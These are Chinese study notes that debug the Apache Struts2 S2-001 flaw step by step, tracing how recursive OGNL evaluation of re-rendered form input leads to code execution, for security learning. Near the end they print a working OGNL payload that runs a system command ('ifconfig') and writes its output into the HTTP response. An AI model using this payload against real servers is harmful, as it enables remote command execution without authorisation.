漏洞代码调试(二):Strtus2-001代码分析调试

272 阅读7分钟

图片

Strtus2-001代码分析调试(学习笔记)


一、漏洞描述:

Struts2 中的validation机制。validation依靠validation和workflow两个拦截器。validation会根据配置的xml文件创建一个特殊字段错误列表。而workflow则会根据validation的错误对其进行检测,如果输入有值,将会把用户带回到原先提交表单的页面,并且将值返回。反之,在默认情况下,如果控制器没有得到任何的输入结果但是有validation验证错误。那么用户将会得到一个错误的信息提示。

提交表单并验证失败时,由于Strust2默认会原样返回用户输入的值而且不会跳转到新的页面,因此当返回用户输入的值并进行标签解析时,如果开启了altSyntax,会调用translateVariables方法对标签中表单名进行OGNL表达式递归解析返回ValueStack值栈中同名属性的值。因此我们可以构造特定的表单值让其进行OGNL表达式解析从而达到任意代码执行。

二、影响版本

影响版本: 2.0.0 - 2.0.8

<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.0.8</version>
</dependency>
</dependencies>

图片

三、漏洞分析

Struts2的运行流程是
1、HTTP请求经过一系列的过滤器,最后到达FilterDispatcher过滤器。
2、FilterDispatcher将请求转发给ActionMapper,判断该请求是否需要处理。
3、如果该请求需要处理,FilterDispatcher会创建一个ActionProxy来进行后续的处理。
4、ActionProxy拿着HTTP请求,询问struts.xml该调用哪一个Action进行处理。
5、当知道目标Action之后,实例化一个ActionInvocation来进行调用。
6、然后运行在Action之前的拦截器。
7、运行Action,生成一个Result。
8、Result根据页面模板和标签库,生成要响应的内容。
9、根据响应逆序调用拦截器,然后生成最终的响应并返回给Web服务器。
漏洞关键位置xwork-2.0-beta-1.jar!/com/opensymphony/xwork2/util/TextParseUtil.class中的translateVariables方法下断点。
opensymphony/xwork/2.0.3/xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class

图片

前面都是一些应用初始化、调度、Struts2 拦截器执行、Action执行等操作,直接跳过。

图片

本次操作只是访问http://localhost:8080/s2vuls\_war/pages/s2001/index.jsp获取只有

传入的参数为空,因为Action的返回值为error,所以doForward会跳转到index.jsp,后面再进行一系列过滤器调用、JspServlet调用解析jsp等操作。

图片

后面执行dorun请求的URL资源index.jsp

图片

http://localhost:8080/s2vuls\_war/pages/s2001/index.jsp

图片

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="s2001">
    <s:textfield name="username" label="username" />
    <s:textfield name="password" label="password" />
    <s:submit></s:submit>
</s:form>
</body>
</html>

直接跟到org.apache.struts2.views.jsp.ComponentTagSupport的doStartTag方法,这里会对jsp标签进行解析,从form标签开始,我们步入到解析textfield标签时。

org/apache/struts/struts2-core/2.0.8/struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.class

图片

开始请求提交访问解析到form表单

图片

form表单解析到textfield

图片

开始是解析到textfield第一个字段:username

图片

接下里到textfield第二个字段:password

图片

接下来到submit

图片

图片

前端页面解析的一个过程

图片

执行完doStartTag后会再次回到index.jsp,此时遇到了相应的闭合标签/>,会跳转到doEndTag():

public int doStartTag() throws JspException {
    this.component = this.getBean(this.getStack(), (HttpServletRequest)this.pageContext.getRequest(), (HttpServletResponse)this.pageContext.getResponse());
    Container container = Dispatcher.getInstance().getContainer();
    container.inject(this.component);
    this.populateParams();
    boolean evalBody = this.component.start(this.pageContext.getOut());
    if (evalBody) {
        return this.component.usesBody() ? 2 : 1;
    } else {
        return 0;
    }
}
-------------------------------分割线-------------------------------
public int doEndTag() throws JspException {
    this.component.end(this.pageContext.getOut(), this.getBody());
    this.component = null;
    return 6;
}

跟进component.end(),到达org.apache.struts2.components.UIBean#end

org/apache/struts/struts2-core/2.0.8/struts2-core-2.0.8.jar!/org/apache/struts2/components/UIBean.class

图片

继续跟入this.evaluateParams();,由于开启了altSyntax,expr = %{password}

altSyntax功能是 Struts2 框架用于处理标签内容的一种新语法(不同于普通的 HTML ),该功能主要作用在于支持对标签中的OGNL表达式进行解析并执行。altSyntax功能在处理标签时,对OGNL表达式的解析能力实际上是依赖于开源组件XWork。

图片

继续跟入this.findValue(expr, valueClazz);

图片

图片

protected Object findValue(String expr, Class toType) {
    if (this.altSyntax() && toType == String.class) {
        return TextParseUtil.translateVariables('%', expr, this.stack);
    } else {
        if (this.altSyntax() && expr.startsWith("%{") && expr.endsWith("}")) {
            expr = expr.substring(2, expr.length() - 1);
        }

        return this.getStack().findValue(expr, toType);
    }
}

altSyntax,toType 为class.java.lang.string,跟入com.opensymphony.xwork2.util.TextParseUtil中的translateVariables('%', expr, this.stack);

opensymphony/xwork/2.0.3/xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
    Object result = expression;

    while(true) {
        int start = expression.indexOf(open + "{");
        int length = expression.length();
        int x = start + 2;
        int count = 1;

        while(start != -1 && x < length && count != 0) {
            char c = expression.charAt(x++);
            if (c == '{') {
                ++count;
            } else if (c == '}') {
                --count;
            }
        }

        int end = x - 1;
        if (start == -1 || end == -1 || count != 0) {
            return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
        }

        String var = expression.substring(start + 2, end);
        Object o = stack.findValue(var, asType);
        if (evaluator != null) {
            o = evaluator.evaluate(o);
        }

        String left = expression.substring(0, start);
        String right = expression.substring(end + 1);
        if (o != null) {
            if (TextUtils.stringSet(left)) {
                result = left + o;
            } else {
                result = o;
            }

            if (TextUtils.stringSet(right)) {
                result = result + right;
            }

            expression = left + o + right;
        } else {
            result = left + right;
            expression = left + right;
        }
    }
}

expression为%{password},先经过while循环确定出表达式的start和end,然后取出来password赋值给var变量

图片

图片

stack.findValue(var, asType);,这里的stack为OgnlValueStack,它是ValueStack的实现类。

String VALUE_STACK = "com.opensymphony.xwork2.util.ValueStack.ValueStack";
String REPORT_ERRORS_ON_NO_PROP = "com.opensymphony.xwork2.util.ValueStack.ReportErrorsOnNoProp";

ValueStack是Struts2的一个接口,字面意义为值栈,类似于一个数据中转站,Struts2的数据都保存在ValueStack中。客户端发起一个请求struts2会创建一个Action实例同时创建一个OgnlValueStack值栈实例,OgnlValueStack贯穿整个Action的生命周期。Struts2中使用OGNL将请求Action的参数封装为对象存储到值栈中,并通过OGNL表达式读取值栈中的对象属性值。

ValueStack中有两个主要区域

1、CompoundRoot 区域:是一个ArrayList,存储了Action实例,它作为OgnlContext的Root对象。获取root数据不需要加#

2、context 区域:即OgnlContext上下文,是一个Map,放置web开发常用的对象数据的引用。request、session、parameters、application等。获取context数据需要加#

操作值栈,通常指的是操作ValueStack中的root区域。

OgnlValueStack的findValue方法可以在CompoundRoot中从栈顶向栈底找查找对象的属性值。

public Object findValue(String expr, Class asType) {
    Object var4;
    try {
        Object value;
        if (expr == null) {
            value = null;
            return value;
        }

        if (this.overrides != null && this.overrides.containsKey(expr)) {
            expr = (String)this.overrides.get(expr);
        }

        value = OgnlUtil.getValue(expr, this.context, this.root, asType);
        if (value != null) {
            var4 = value;
            return var4;
        }

        var4 = this.findInContext(expr);
        return var4;
    } catch (OgnlException var9) {
        var4 = this.findInContext(expr);
        return var4;
    } catch (Exception var10) {
        this.logLookupFailure(expr, var10);
        var4 = this.findInContext(expr);
    } finally {
        OgnlContextState.clear(this.context);
    }

    return var4;
}

OgnlUtil.getValue(expr, this.context, this.root, asType);

图片

Ognl.getValue(compile(name), context, root, resultType);会根据root和context对象对表达式compile(name)进行解析。

图片

图片

这里因为name为password,会从root栈中LoginAction对象中 获取到我们提交的参数password并返回

图片

前端提交和请求参数,filter来拦截请求并处理,所以在struts2-core-2.0.8.jar!/org/apache/struts2/dispatcher/FilterDispatcher.class处,tomcat将请求交给struts2处理

图片

先在过滤器,请求参数和action方法绑定,再调用loginaction方法

图片

返回值进行一系列处理后,最后又赋值给expression,接着会再次进入translateVariables进行解析,然后进入下一次while循环

逻辑运行完之后,struts2将返回响应,并重新渲染jsp。问题就出在重新渲染时,struts2对ognl表达式进行了二次解析,导致攻击者输入的恶意表达式被执行。

主要是%{}表达式

这个方法对表达式是是递归解析的,如果说%{username}的结果还是一个表达式(被%{}包裹)的话,那么程序会继续解析,这造成了恶意ognl表达式的执行。

图片

计算的结果

图片

上面是简单的计算:

尝试系统命令的执行:POC

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ifconfig"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

图片

opensymphony/xwork/2.0.3/xwork-2.0.3.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.class

绑定参数和action

图片

opensymphony/xwork/2.0.3/xwork-2.0.3.jar!/com/opensymphony/xwork2/DefaultActionInvocation.class

invokeAction中调用了自定义的action

图片

struts2将返回响应,并重新渲染jsp。问题就出在重新渲染时,struts2对ognl表达式进行了二次解析,导致攻击者输入的恶意表达式被执行。

evaluateParams方法,对标签属性进行解析。

图片

altSyntax,会将标签name属性的值(这里是username),用%{}包裹,进行进一步解析。

opensymphony/xwork/2.0.3/xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class

图片

将%{}中的值取出来,放入findValue方法中:

图片

多次循环解析点

图片

ognl表达式传入了OgnlUtil.getValue并执行

图片

最后返回到translateVariables方法

返回命令执行的内容:

图片

执行成功返回IP相关学习。

总结:

1、主要是%{}表达式

这个方法对表达式是是递归解析的,如果说%{username}的结果还是一个表达式(被%{}包裹)的话,那么程序会继续解析,这造成了恶意ognl表达式的执行。

2、Strtus2-001本次环境调试,注意多次的表达式循环的解析。开始的生活注意路径和jar包,断点查看调试。(自己被绕晕过,可以第一次过一下,后面再来详细的断点调试)

3、本次也是自己学习记录,如果有纰漏欢迎大佬指点。

参考:

www.jianshu.com/p/a072ddd26…

wechat.doonsec.com/article/?id…

blog.csdn.net/qq\_2964770…

seaii-blog.com/index.php/2…

github.com/proudwind/s…


免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

订阅查看更多复现文章、学习笔记

thelostworld

安全路上,与你并肩前行!!!!

图片

个人知乎:www.zhihu.com/people/fu-w…

个人简书:www.jianshu.com/u/bf0e38a8d…